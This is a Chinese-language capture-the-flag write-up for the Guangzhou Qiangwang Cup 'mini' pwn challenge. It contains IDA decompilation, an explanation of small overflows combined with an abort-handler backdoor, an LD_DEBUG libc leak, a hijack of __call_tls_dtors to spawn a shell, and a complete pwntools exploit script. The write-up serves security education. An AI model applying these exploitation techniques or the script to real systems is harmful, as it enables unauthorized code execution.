广州强网杯pwn_mini WP

robots

 

前言

这道题目是广州强网杯的一道题目,利用方式比较巧妙,题目给了两个字节溢出、和一个任意地址写,通过这些漏洞可以有一些利用的方法,但是有一种方法是很巧妙的,也是出题人想让我们利用的方式,程序本身预置了后门函数,后门函数以test身份重启了自身,然后exit了,而test身份是有一个任意地址写的。

 

分析

程序经过ida分析后,发现程序有两个参数运行,一个是test,一个real,test会有一个任意地址写,real会进入主程序。test任意写如下:

void __noreturn sub_1CB0()
{
  char *s[7]; // [rsp+0h] [rbp-38h] BYREF

  s[1] = (char *)__readfsqword(0x28u);
  puts("[+] Test remote IO.");
  __printf_chk(1LL, "Where: ");
  s[0] = 0LL;
  input(s, 8LL);
  __printf_chk(1LL, "Input: ");
  input(s[0], 144LL);
  __printf_chk(1LL, "Output: ");
  puts(s[0]);
  exit(0);
}

real主程序如下:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  const char *v4; // rbp
  const char *v5; // r15
  int v6; // ebx
  __int128 buf; // [rsp+110h] [rbp-58h] BYREF
  unsigned __int64 v8; // [rsp+128h] [rbp-40h]

  v8 = __readfsqword(0x28u);
  if ( a1 != 2 )
    goto LABEL_2;
  sub_16C0();
  v4 = a2[1];
  if ( !strcmp(v4, "test") )
    sub_1CB0();
  if ( strcmp(v4, "real") )
  {
LABEL_2:
    puts("Invalid.");
    exit(0);
  }
  sub_1770();
  buf = 0LL;
  *(_QWORD *)&::buf[48] = a3;  //envp
  *(_QWORD *)&::buf[56] = a2;
  __printf_chk(1LL, "User: ");
  input(&buf, 13LL);
  if ( !strcmp((const char *)&buf, "Administrator") )
  {
    puts("Login failed!");
    exit(0);
  }
  puts("Login successful!");
  while ( 1 )
  {
LABEL_7:
    v5 = aAddCard;
    v6 = 0;
    sub_1C20();                                 // menu 
    input(::buf, 50LL);                         // 2 bytes overflow can overflow envp 
    while ( strcmp(::buf, v5) )
    {
      ++v6;
      v5 += 16;
      if ( v6 == 6 )
      {
        puts("Illegal.");
        goto LABEL_7;
      }
    }
    off_4080[v6]();                             // 函数的数组
  }
}

主程序将a3(envp)放到了buf[48]的位置,但是在输入buf的时候大小是50,存在2字节溢出可以覆盖envp,menu所涉及的函数如下

.data:0000000000004080 off_4080        dq offset add_card      ; DATA XREF: main+102↑o
.data:0000000000004088                 dq offset Remove_Card
.data:0000000000004090                 dq offset Write_Card
.data:0000000000004098                 dq offset Read_Card
.data:00000000000040A0                 dq offset Bye_bye
.data:00000000000040A8                 dq offset sub_15C0      ; gift
.data:00000000000040A8 _data           ends

add函数如下:

int add_card()
{
  int v0; // ebx
  _QWORD *i; // rax
  int v2; // ebp
  __int64 v3; // rax
  void *v4; // rax
  int *v5; // rbx
  unsigned __int64 v7; // [rsp+8h] [rbp-20h]

  v0 = 0;
  v7 = __readfsqword(0x28u);
  for ( i = &unk_4140; i[1] || *(_DWORD *)i; i += 2 )
  {
    if ( ++v0 == 16 )
      return __readfsqword(0x28u) ^ v7;
  }
  __printf_chk(1LL, "Size: ");
  v2 = input_size();
  if ( (unsigned int)(v2 - 17) > 0x4F )
    return __readfsqword(0x28u) ^ v7;
  v4 = calloc(1uLL, v2);
  v5 = (int *)((char *)&unk_4140 + 16 * v0);
  *((_QWORD *)v5 + 1) = v4;
  if ( !v4 )
    exit(-1);
  *v5 = v2;
  __printf_chk(1LL, "Card: ");
  input(*((void **)v5 + 1), *v5);
  LODWORD(v3) = puts("OK.");
  return v3;
}

__int64 input_size()
{
  char v1[24]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  *(_OWORD *)v1 = 0LL;
  *(_QWORD *)&v1[16] = 0LL;
  input(v1, 25LL);                              // 1 byte overflow
  return strtol(v1, 0LL, 10);
}

这里input size有一字节溢出。此外程序还有一个隐藏的gift函数,可以泄露栈地址的最后两个字节

unsigned __int64 sub_15C0()
{
  int v1; // ebp
  int v2; // eax
  int v3; // edx
  int buf; // [rsp+4h] [rbp-24h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-20h]

  v5 = __readfsqword(0x28u);
  if ( !unk_4120 )
  {
    unk_4120 = 1;
    v1 = open("/dev/urandom", 0);
    read(v1, &buf, 4uLL);
    close(v1);
    v2 = buf & 3;
    switch ( v2 )
    {
      case 2:
        buf = 0xFFF;
        v3 = 0xFFF;
        break;
      case 3:
        buf = 0xFFFF;
        v3 = 0xFFFF;
        break;
      case 1:
        buf = 0xFF;
        v3 = 0xFF;
        break;
      default:
        buf = 0xF;
        v3 = 0xF;
        break;
    }
    __printf_chk(1LL, "Gift: %d\n", (unsigned int)&buf & v3); // 2 bytes leak stack 
  }
  return __readfsqword(0x28u) ^ v5;
}

除此之外,可以在程序初始化中有一个backdoor函数,可以以test参数重启程序,获得一次任意写能力:

unsigned int sub_16C0()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  signal(6, (__sighandler_t)handler);  <----backdoor>
  signal(14, (__sighandler_t)sub_14D0);
  return alarm(0x28u);
}

void __noreturn handler()   //以test重启自身
{
  __int64 v0; // rax
  char v1[88]; // [rsp+0h] [rbp-78h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-20h]

  v2 = __readfsqword(0x28u);
  v0 = *(_QWORD *)&buf[56];
  if ( v0 )
  {
    **(_DWORD **)(v0 + 8) = 0x74736574;   // test 参数
    *(_OWORD *)v1 = 0LL;
    *(_OWORD *)&v1[16] = 0LL;
    *(_OWORD *)&v1[32] = 0LL;
    *(_OWORD *)&v1[48] = 0LL;
    *(_OWORD *)&v1[64] = 0LL;
    readlink("/proc/self/exe", v1, 79uLL);   //复制符号到v1
    execve(v1, *(char *const **)&buf[56], *(char *const **)&buf[48]);// 重新执行程序
    exit(0);  // 退出
  }
  exit(-1);
}

 

利用思路

经过整理这些漏洞和后门,可以整理这样一个利用思路:
LD_DEBUG=all 这个环境变量,预示着程序执行时打印loader的信息,通过里面的信息可以获取libc地址。
首先利用 gift 功能泄露栈地址最后 2 字节,然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp 指针的最后2字节,使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发 abort,从而使得程序重启并进入后门(此时相当于控制了环境变量为 LD_DEBUG=all)。

│ 0x55a99e08559f    mov    rdi, rbp
► 0x55a99e0855a2    call   execve@plt <execve@plt>
        path: 0x7ffd0ba916c0 ◂— '/home/yrl/exp/mini'
        argv: 0x7ffd0ba92348 —▸ 0x7ffd0ba93117 ◂— 0x7400696e696d2f2e /* './mini' */
        envp: 0x7ffd0ba920f0 —▸ 0x7ffd0ba92200 ◂— 'LD_DEBUG=all' 
  0x55a99e0855a7    xor    edi, edi

程序在重启时,就会打印调试信息,泄露libc地址,由于 libc 2.31 的 one_gadget 已经无法使用,所以最后利用任意地址写去劫持 exit_handlers 函数。

exit_handlers其实是用的stl结构,因为exit_handlers会用到stl结构,其中在__call_tls_dtors中会有一个call rax;的调用,在此之前我们只要将eax修改为system,再将其参数修改为‘/bin/sh’就行。往上追溯可以看到eax是由

0x7f9c9bd98424 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40>    ror    rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

控制,我们可以通过栈控制rax为0,然后fs:[0x30]为system地址就行,参数rdi通过mov rdi, qword ptr [rbp + 8]控制,改为/bin/sh,所以就可通过call rax;来getshell,值得注意的是fs寄存器我们看不了,就要确定fs:[0x30]到底在哪里,这就需要一定的经验,大致知道 tls 在mapped 那段地址上(即libc最后的那段没有名字的地址段上),exp的target的偏移是在fs:[0x30]附近,通过布栈根据target便宜来找fs:[0x30]具体在哪里,具体这个偏移只能不同版本,慢慢靠经验找;现在 glibc2.31 还是固定的,很好找,以前 2.27 每次重启都会变,所以打远程还要爆破

 

exp

# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
#context.terminal = ["/usr/bin/tmux","sp","-h"]

# io = remote('127.0.0.1', 49158)
# libc = ELF('./libc-2.31.so')
io = process(['./mini', 'real'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, '\x00'))
uu64 = lambda data        : u64(data.ljust(8, '\x00'))



sla('User: ', 'LD_DEBUG=all')  # 将LD_DEBUG=all放到栈上
# dbg()
# pause()
sla('>> ', '+_@*@&!$') # 触发后门gift,获取栈的最后两个字节

ru('Gift: ')                    # leak stack 2bytes
re = int(rl(), 10)
lg('re')
offset = re + 0x2c    # 通过泄露的两个字节确定LD_DEBUG=all的位置
lg('offset')
assert(offset & 0xf000)  # 确保两个字节

sa('>> ', 'A'*0x30+p16(offset))  # modify stack address envp (2bytes)-> LD_DENUG=all 通过两个字节溢出修改envp的最后两个字节使其指向LD_DEBUG=all

sla('>> ', 'Read_Card')
# dbg()
# pause()
sa('Index: ', 'B'*0x19) # 1byte onerflow  -> trigger abort  通过一字节溢出修改返回地址为非法地址,触发abort,使系统捕获异常进入后门函数,重启以test参数程序

ru('file=libc.so.6 [0];')         # test参数重启时打印debug信息,泄露libc,之后会有一个任意地址写
ru('base: ')
libc_base = int(ru('   size:'), 16)
lg('libc_base')

'''
   0x7f9c9bd98424 <__call_tls_dtors+36>    mov    rax, qword ptr [rbp]
   0x7f9c9bd98428 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7f9c9bd9842c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]
   0x7f9c9bd98435 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx
   0x7f9c9bd98439 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
 ► 0x7f9c9bd9843d <__call_tls_dtors+61>    call   rax <system>
        command: 0x7f9c9bf41568 ◂— 0x68732f6e69622f /* '/bin/sh' */

'''
target = libc_base + 0x1f34e8  # exit_handlers-> __call_tls_dtors->call rax; 确定劫持位置附近,通过偏移找到fs:[0x30],和rbp+8的位置,在rbp+8位置写入指向/bin/sh的指针
lg('target')
sla('Where: ', p64(target)[:-1])

paylaod = p64(target+0x70)
paylaod += 14*p64(0)
paylaod += p64(target+0x80)
paylaod += '/bin/sh\x00'
paylaod += p64(libc_base + libc.sym['system'])
sla('Input: ', paylaod[:-1])


irt()
(完)